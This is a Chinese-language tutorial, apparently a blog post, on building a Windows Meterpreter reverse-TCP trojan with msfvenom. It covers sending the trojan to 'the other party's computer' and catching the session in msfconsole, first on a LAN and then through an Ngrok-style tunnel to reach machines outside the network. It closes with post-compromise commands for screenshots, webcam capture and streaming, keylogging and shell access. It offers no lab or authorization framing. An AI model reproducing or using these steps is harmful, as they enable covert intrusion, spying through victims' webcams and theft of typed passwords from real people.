生成木馬文件，從而控制對(duì)方電腦（這里只能在同一個(gè)局域網(wǎng)下才能入侵）

第一步：輸入msfvenom命令生成一個(gè)payload，相關(guān)參數(shù)與命令如下：

-p：使用反向遠(yuǎn)程控制程序“windows/meterpreter/reverse_tcp”

lhost：設(shè)置kali的IP

lport：設(shè)置端口（要與下面的setlport保持一致）

-f：文件的類型為exe類型

-o：生成payload，名為payload.exe，保存在kali的/root目錄下

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.43.77 lport=5000 -f exe -o /root/tjy.exe

第二步：將生成的木馬文件發(fā)送到對(duì)方電腦

我們啟動(dòng)kali

msfconsole 進(jìn)入msfconsole

use exploit/multi/handler 使用這個(gè)漏洞輔助

設(shè)置payload為剛才反向遠(yuǎn)程控制程序名稱（windows/meterpreter/reverse_tcp）

set payload windows/meterpreter/reverse_tcp

設(shè)置一個(gè)lhost和lport，要與文章最開始的msfvenom命令中的IP和端口保持一致

exploit 或 run

接下來(lái)我們只要等對(duì)方電腦運(yùn)行剛剛那個(gè)木馬

生成木馬文件，從而控制對(duì)方電腦（內(nèi)網(wǎng)可以入侵外網(wǎng)）

在開始生成木馬之前，我們要先做好準(zhǔn)備工作

在kali里面要下載Sunny-Ngrok的Linux64版本，下載好后解壓

接著我們要在Sunny-Ngrok注冊(cè)登陸，這里要買個(gè)隧道，但是免費(fèi)的，就是認(rèn)證要花2元，這個(gè)隧道是幫助我們做內(nèi)網(wǎng)穿透的，但這個(gè)免費(fèi)的隧道服務(wù)器在美國(guó)那邊，所以有的時(shí)候可能不太好用

這里將下載好的linux64壓縮包進(jìn)行解壓

命令解壓縮：unzip linux_amd64(壓縮包名)

進(jìn)入解壓好的目錄

cd linux_amd64

啟動(dòng)隧道映射TCP服務(wù)

./sunny clientid (隧道id) 這里的隧道id看下圖

啟動(dòng)后是這樣的

接下來(lái)就是生成外網(wǎng)的木馬程序了

注意：這里lhost和lport分別為贈(zèng)送的域名和端口

msfvenom -p windows/meterpreter/reverse_tcplhost=xxx.xxx.com lport=10306 -f exe -o /root/shell.exe

接下來(lái)就是在msf中設(shè)置payload，加載攻擊模塊設(shè)置本地IP何監(jiān)聽(tīng)端口了

msfconsole 打開msf

use exploit/multi/handler 使用這個(gè)漏洞輔助

set payload windows/meterpreter/reverse_tcp 設(shè)置payload為剛才反向遠(yuǎn)程控制程序名稱（windows/meterpreter/reverse_tcp）

set LHOST 192.168.245.140 這里設(shè)置成kali的IP

set LPORT 4444 這里是你要偵聽(tīng)的端口

這里設(shè)置的IP和偵聽(tīng)的端口后生成外網(wǎng)木馬程序時(shí)的IP和端口時(shí)不一樣的，因?yàn)槲覀冞@是內(nèi)網(wǎng)入侵外網(wǎng)

show options 查看IP端口設(shè)置情況

exploit 或 run 開啟偵聽(tīng)

接下來(lái)我們只要等對(duì)方電腦運(yùn)行剛剛那個(gè)木馬

成功后時(shí)以下這圖

入侵成功后所能做的（這只是可以做的一部分）

getuid 獲取靶機(jī)uidmeterpreter

shell 進(jìn)入靶機(jī)shellmeterpreter

screenshot 靶機(jī)截屏meterpreter

webcam_snap 用靶機(jī)攝像頭拍照meterpreter

webcam_stream 用靶機(jī)攝像頭錄像meterpreter

keyscan_start 開啟鍵盤記錄meterpreter

keyscan_dump 捕獲鍵盤記錄

keyscan_stop 停止鍵盤記錄